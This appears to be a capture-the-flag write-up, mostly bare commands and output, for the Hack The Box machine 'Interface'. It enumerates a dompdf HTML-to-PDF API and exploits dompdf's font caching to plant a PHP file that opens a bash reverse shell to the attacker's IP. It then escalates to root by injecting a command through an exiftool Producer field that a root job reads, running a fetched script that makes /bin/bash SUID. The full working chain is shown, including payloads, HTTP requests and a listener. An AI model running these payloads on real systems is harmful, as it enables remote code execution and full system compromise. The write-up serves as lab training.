0xc0rvu5.github.io

View on GitHub
echo "10.10.11.200	interface.htb" | sudo tee -a /etc/hosts
sudo (which autorecon) interface.htb
http://prd.m.rendering-api.interface.htb

image

10.10.11.200	interface.htb prd.m.rendering-api.interface.htb
ffuf -u http://prd.m.rendering-api.interface.htb/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fc 404

http://prd.m.rendering-api.interface.htb/FUZZ

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
    * FUZZ: vendor
ffuf -u http://prd.m.rendering-api.interface.htb/vendor/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fc 404

http://prd.m.rendering-api.interface.htb/vendor/FUZZ

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
    * FUZZ: dompdf

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 46ms]
    * FUZZ: composer
ffuf -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fc 404

http://prd.m.rendering-api.interface.htb/vendor/dompdf/FUZZ

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 42ms]
    * FUZZ: dompdf
ffuf -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fc 404

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/FUZZ

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 59ms]
    * FUZZ: lib

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 46ms]
    * FUZZ: tests

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 45ms]
    * FUZZ: src
ffuf -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fc 404

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/FUZZ

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 43ms]
    * FUZZ: fonts

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 43ms]
    * FUZZ: res
ffuf -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/tests/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fc 404

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/tests/FUZZ

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 95ms]
    * FUZZ: _files

api endpoint found filtering by size

ffuf -u http://prd.m.rendering-api.interface.htb/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fs 0,16

http://prd.m.rendering-api.interface.htb/FUZZ

[Status: 404, Size: 50, Words: 3, Lines: 1, Duration: 61ms]
    * FUZZ: api

[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
    * FUZZ: vendor
ffuf -u http://prd.m.rendering-api.interface.htb/api/FUZZ -X POST -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fs 50

http://prd.m.rendering-api.interface.htb/api/FUZZ

[Status: 422, Size: 36, Words: 2, Lines: 1, Duration: 48ms]
    * FUZZ: html2pdf
public function registerFont($style, $remoteFile, $context = null)
{
   $fontname = mb_strtolower($style["family"]);
   $styleString = $this->getType("{$style['weight']} {$style['style']}");

   $fontDir = $this->options->getFontDir();
   $remoteHash = md5($remoteFile);

   $prefix = $fontname . "_" . $styleString;
   $prefix = preg_replace("[\\W]", "_", $prefix);
   $prefix = preg_replace("/[^-_\\w]+/", "", $prefix);

   $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
   $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));
@font-face {
   font-family:'TestFont';
   src:url('http://attacker.local/test_font.ttf');
   font-weight:'normal';
   font-style:'normal';
 }
git clone https://github.com/positive-security/dompdf-rce.git
cd exploit
@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.16.26/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

 dum1cmap
           `�,glyf5sc��headQ66hhea��($hmtxD
loca
Tmaxp\ nameD|8dum2
                     -��-����
:83#5:08��_<�
             @8&۽
:8L��

:D

6				s
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.26/4444 0>&1'");?>
echo -n "http://10.10.16.26/exploit_font.php" | md5sum

0231eacba09bc4c54f7573512d14c42a
python -m http.server 80

/api/html2pdf

POST /api/html2pdf HTTP/1.1
Host: prd.m.rendering-api.interface.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Accept-Encoding: gzip, deflate
X-Forwarded-For: 10.10.16.26
Connection: close
Content-Length: 83

{  
"html":   "<link rel=stylesheet href='http://10.10.16.26/exploit.css'>"  
}  

/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_0231eacba09bc4c54f7573512d14c42a.php

GET /vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_0231eacba09bc4c54f7573512d14c42a.php  HTTP/1.1
Host: prd.m.rendering-api.interface.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Accept-Encoding: gzip, deflate
X-Forwarded-For: 10.10.16.26
Connection: close
Content-Length: 0


rlwrap nc -lvnp 4444

image

image

# activate clear functionality
export TERM=xterm
ls /home
cd /home/dev
cat /home/dev/user.txt

58aa856e616a3454d1bcc592d6ca6ff9

image

pspy64 output

CMD: UID=0     PID=2296   | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/e1eabe82754685211e30c8b7fb3f4d6b.pdf 
touch /tmp/test

pspy64 output

2023/03/13 02:32:01 CMD: UID=0     PID=2349   | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/test
exiftool e1eabe82754685211e30c8b7fb3f4d6b.pdf

ExifTool Version Number         : 12.55
File Name                       : e1eabe82754685211e30c8b7fb3f4d6b.pdf
Directory                       : .
File Size                       : 919 bytes
File Modification Date/Time     : 2023:03:13 02:51:08+00:00
File Access Date/Time           : 2023:03:13 02:51:08+00:00
File Inode Change Date/Time     : 2023:03:13 02:51:08+00:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Producer                        : dompdf 1.2.0 + CPDF
Create Date                     : 2023:03:13 02:51:08+00:00
Modify Date                     : 2023:03:13 02:51:08+00:00
cat test.sh

#!/bin/bash
chmod a+s /bin/bash

python -m http.server 80
cd /dev/shm
wget http://10.10.16.26/test.sh
chmod 700 test.sh
touch test
exiftool test

ExifTool Version Number         : 12.55
File Name                       : test
Directory                       : .
File Size                       : 0 bytes
File Modification Date/Time     : 2023:03:12 23:35:12+00:00
File Access Date/Time           : 2023:03:12 23:35:14+00:00
File Inode Change Date/Time     : 2023:03:12 23:35:14+00:00
File Permissions                : -rw-r--r--
Error                           : File is empty

exiftool -Producer="v[\$(/dev/shm/test.sh>&2)]" test
exiftool test

ExifTool Version Number         : 12.55
File Name                       : test
Directory                       : .
File Size                       : 2.9 kB
File Modification Date/Time     : 2023:03:12 23:35:14+00:00
File Access Date/Time           : 2023:03:13 00:17:37+00:00
File Inode Change Date/Time     : 2023:03:12 23:35:14+00:00
File Permissions                : -rw-r--r--
File Type                       : EXV
File Type Extension             : exv
MIME Type                       : image/x-exv
XMP Toolkit                     : Image::ExifTool 12.55
Producer                        : a[$(/dev/shm/test.sh>&2)]
cp test /tmp/test

image

cat /home/dev/user.txt

********************************

cat /root/root.txt

********************************

image

#hacking